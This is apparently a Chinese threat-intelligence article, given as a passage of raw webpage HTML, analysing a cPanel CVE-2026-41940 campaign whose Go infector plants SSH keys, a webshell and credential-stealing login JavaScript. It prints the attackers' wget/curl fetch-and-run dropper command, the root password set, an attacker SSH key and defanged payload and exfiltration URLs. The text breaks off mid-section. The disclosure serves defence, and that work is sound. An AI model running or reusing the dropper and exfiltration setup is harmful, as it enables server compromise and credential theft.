sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">自 2026 年 4 月 28 日漏洞公开披露以来，</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">XLab大网威胁感知系统</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">持续监测到大量黑灰产组织正在积极利用该漏洞实施网络攻击，相关行为包括挖矿、勒索、僵尸网络扩散、后门植入等多种恶意活动。监测数据显示，当前已有来自全球的 2000 余个攻击源 IP 参与针对该漏洞的自动化攻击与网络犯罪活动，</span><span leaf="">这些IP分布在全球多个地区，主要来自德国、美国、巴西、荷兰等地区。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">5月2日，安全社区披露<span textstyle="" style="font-weight: bold;">黑客已利用该漏洞成功入侵东南亚政府及军事机构</span>，窃取了约4.37G敏感文件的安全事件。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-backh="134" data-backw="578" data-imgfileid="100000891" data-ratio="0.23200992555831265" data-s="300,640" type="block" data-type="png" data-w="806" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=6d07a200&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yA4vmibCuhyXAC8QsX4elibdCU1DEviaSYnic8emMywJj0wZDyNlphG0SibV2L90NDA1w2gvW1rSSN9AofekuuOjmQB8GsSryYRneg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">5月4日，我们在梳理通过CVE-2026-41940漏洞投递的恶意载荷过程中，发现了一个与众不同的新型感染器，该感染器采用Go语言编写，项目名称为“Payload”，其中嵌入了大量土耳其语的日志信息，疑似由AI生成。其主要功能是：向被入侵的cPanel系统植入SSH 公钥、恶意PHP、JS代码，窃取登录凭证，并将窃得的信息回传至黑客控制的Telegram群组，最终部署一个名为“filemanager”的远控木马。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">在溯源分析时，我们发现本次活动的Downloader域名一个2022年上传至VirusTotal，至今依然0检测的PHP后门使用了JS代码中的相同的C2域名</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">wrned[.]com</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，这个域名早在2020年就投入使用。<span textstyle="" style="font-weight: bold;">种种迹象表明，这些威胁的背后并不是那种“打完就跑”的投机型脚本小子，而是一个能够隐秘活动多年、至今仍未被发现的稳定黑客团体</span>。根据创建Telegram群组时所使用的用户名（first_name）“0xWR”，以及JS代码中采用Rot13算法隐藏C2的行为，我们内部将这个神秘的黑客组织命名为<span textstyle="" style="font-weight: bold;">Mr_Rot13</span>。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">5月4日下午，ID为“xrill_y”的用户向Mr_Rot13创建的Telegram机器人发送了一条消息，这一举动似乎打草惊蛇（当然这只是我们的解读）。次日，Mr_Rot13迅速作出反应：升级恶意样本、更换机器人令牌（bot token），并将机器人移出群组。直到5月7日，他才再次将该机器人拉回群中。目前群组中一共有3名成员，我们的技术手段无法确认他们的身份，欢迎了解内幕的朋友向我们分享更多细节。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="payload_teleupdate.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000871" data-ratio="0.30943396226415093" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-type="png" data-w="795" src="https://wechat2rss.xlab.app/img-proxy/?k=82636f99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xFibq053CRD8hmoibp9ia0FSIsjibeJDq0Vs8BHCaPMd7RntEwMrXko04RwHWUg1iczqhUbZ5kLscBglUPlAcXn7zB6198rMgKHYic0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">从2020年至今的六年时间里，Mr_Rot13 的相关样本及基础设施在各安全产品中的检测率持续处于极低水平。考虑到该威胁活动仍在进行中，且涉及的 cPanel 漏洞具有高危特性，我们特撰写本威胁快讯，旨在向安全社区分享相关发现，携手共同维护网络安全。</span></p><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">Payload感染器</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Mr_rot13通过CVE-2026-41940投递的恶意脚本如下所示，它的功能是向下载服务器</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">cp.dene.[de.com</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">请求一个名为Update的恶意载荷，并通过 nohup 命令使其在后台持续运行（通常结合 &amp; 使用）。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">F=/root/.u$$; </span></code><br/><code><span leaf="">(</span></code><br/><code><span leaf="">wget -q -O <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$F</span></span><span class="code-snippet__string">&#34;</span> <span class="code-snippet__string">&#39;<a href="https://cp.dene.de[.]com/Update" target="_blank">https://cp.dene.de[.]com/Update</a>&#39;</span> 2&gt;/dev/null </span></code><br/><code><span leaf="">||</span></code><br/><code><span leaf="">curl -sk -o <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$F</span></span><span class="code-snippet__string">&#34;</span> <span class="code-snippet__string">&#39;<a href="https://cp.dene.de[.]com/Update" target="_blank">https://cp.dene.de[.]com/Update</a>&#39;</span></span></code><br/><code><span leaf="">) </span></code><br/><code><span leaf="">&amp;&amp; <span class="code-snippet__built_in">chmod</span> 755 <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$F</span></span><span class="code-snippet__string">&#34;</span> &amp;&amp; (<span class="code-snippet__built_in">nohup</span> <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$F</span></span><span class="code-snippet__string">&#34;</span> -s &gt;/dev/null 2&gt;&amp;1 &amp;) </span></code><br/><code><span leaf="">&amp;&amp; <span class="code-snippet__built_in">sleep</span> 2; <span class="code-snippet__built_in">rm</span> -f <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$F</span></span><span class="code-snippet__string">&#34;</span></span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">这个所谓的Update文件就是我们前文所说的Payload感染器，通过对下载URL的持续监控，一共捕获了3个版本，它们的功能相近，本文以5月5日捕获的最新版本为主要分析对象，基本信息如下所示：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">MD5</span>: fb1bc3f935fdeb3555465070ba2db33c</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Magic</span>: ELF <span class="code-snippet__number">64</span>-bit LSB executable, x86-<span class="code-snippet__number">64</span>, version <span class="code-snippet__number">1</span> (SYSV), statically linked, stripped</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">FileName</span>: Update</span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Payload 感染器的功能直观且结构简单，分析难度较低。Payload感染器在运行时，若未指定 -s 或 --silent 参数，会逐项输出各类任务的执行状态。从字符串的风格来看，该感染器极有可能是攻击者直接借助 AI 生成的。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="payload_string.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000870" data-ratio="0.25522388059701495" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-type="png" data-w="670" src="https://wechat2rss.xlab.app/img-proxy/?k=21f96376&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xYCIWTNUfoMUM9Cr6EdicEdAHvLabNbqGyib8ticNKmsNFibYcSCwhwL6Q5bLtu8d2Urr5gGjPxk50MN24XeghBNZFNAZxN1QxpCc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Payload感染器的主要任务是修改被入侵的系统的密码，向其植入SSH 公钥，PHP Webshell和恶意JS代码，部署filemanager远控，并将敏感的设备信息，凭证回传给黑客。</span></p><ol class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">修该密码 &amp; 植入SSH 公钥，对应的处理函数分别为main_changeRootPassword和main_installSSHKey</span></p></li></ol><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">修改ROOT密码</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">root</span>:<span class="code-snippet__number">123</span>Qwe123C</span></code></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">植入SSH 公钥</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFIswJUfqrkbm2sIMfNHZn1sOYkxjNzEynqJKFU7qoez cpanel-updater</span></code></pre></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><ol class="list-paddingleft-1" start="2"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">植入PHP Webshell, 对应的处理函数为main_installCpanelPy</span></p></li></ol><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Webshell的下载地址为</span><code></code></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><a href="https://cp.dene.de[.]com/cpanel.py" target="_blank">https://cp.dene.de[.]com/cpanel.py</a></span></code></pre></p><p><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">本地保存路径为</span></code></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="swift"><code><span leaf=""><span class="code-snippet__regexp">/usr/</span>local<span class="code-snippet__regexp">/cpanel/</span>cgi<span class="code-snippet__operator">-</span>sys<span class="code-snippet__operator">/</span>cpanel.py</span></code></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">这个Webshell的名字是Cpanel-Python，支持文件上传&amp;浏览，以及远程命令执行等功能。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="payload_webshell.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000873" data-ratio="0.4666666666666667" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7362f23b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8w7Ibjx4ePdicZnicBj5tFCYUQiagHsO2iaUNrrENzto206t5KyHRnSib2nSraeBhMUOhlICKpfeiaUNvug6juWcaRYZv2yLX8RC7OZU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><ol class="list-paddingleft-1" start="3"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">注入Javascript代码，对应的处理函数为main_injectLoginPage</span></p></li></ol><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">恶意JS下载地址为</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><a href="https://cp.dene.de[.]com/login.js" target="_blank">https://cp.dene.de[.]com/login.js</a></span></code><br/><code><span leaf="">https::/cp.dena.de[.]com/login.tmpl</span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">保存路径为</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="swift"><code><span leaf=""><span class="code-snippet__regexp">/usr/</span>local<span class="code-snippet__regexp">/cpanel/</span>base<span class="code-snippet__regexp">/unprotected/</span>cpanel</span></code></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">login.js，login.tmpl用于创建自定义的登录页面，其中login.tmpl为模板文件，通过以下代码片段将login.js嵌入到 HTML 页面中。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img alt="payload_tmpl.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000869" data-ratio="0.2859154929577465" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-type="png" data-w="710" src="https://wechat2rss.xlab.app/img-proxy/?k=d5971363&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8ziaQicGwnHNPTfCwby4AcpD7qr3KLic2urfgxMsz1EEhFgCe10A00MlbtHEb1KClCpMX9NNTqF0lZ38YDhBUkEbtVQXiaWzSWZDSE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">而在login.js则通过下载代码片段实现窃取用户登录时的用户名、密码、User-Agent以及当前URL，并通过AJAX请求将这些敏感数据发送到攻击者控制的远程服务器。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="payload_login.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="325" data-backw="578" data-imgfileid="100000878" data-ratio="0.5625" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-type="png" data-w="720" src="https://wechat2rss.xlab.app/img-proxy/?k=c331bb8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yp01tSM5v43piaEibQYPic6VoaYY2pvsM8xpWjTpsNnMM4HFxxoicsqKTGbZkSJ2ibPOuv3cXT64ExUESdiaBq0GKNp0E0x7YUY5rCY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-pm-slice="2 2 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">样本中服务器地址使用ROT13编码“</span><span leaf="">uggcf://jearq.pbz/ybt.cuc?g=3”，解码后</span><span leaf=""><a href="https://wrned[.]com/log.php?t=3。" target="_blank">https://wrned[.]com/log.php?t=3。</a></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><ol class="list-paddingleft-1" start="4"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">部署Filemanager远控，对应的处理函数为main_runWpsockInstaller</span></p></li></ol><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, 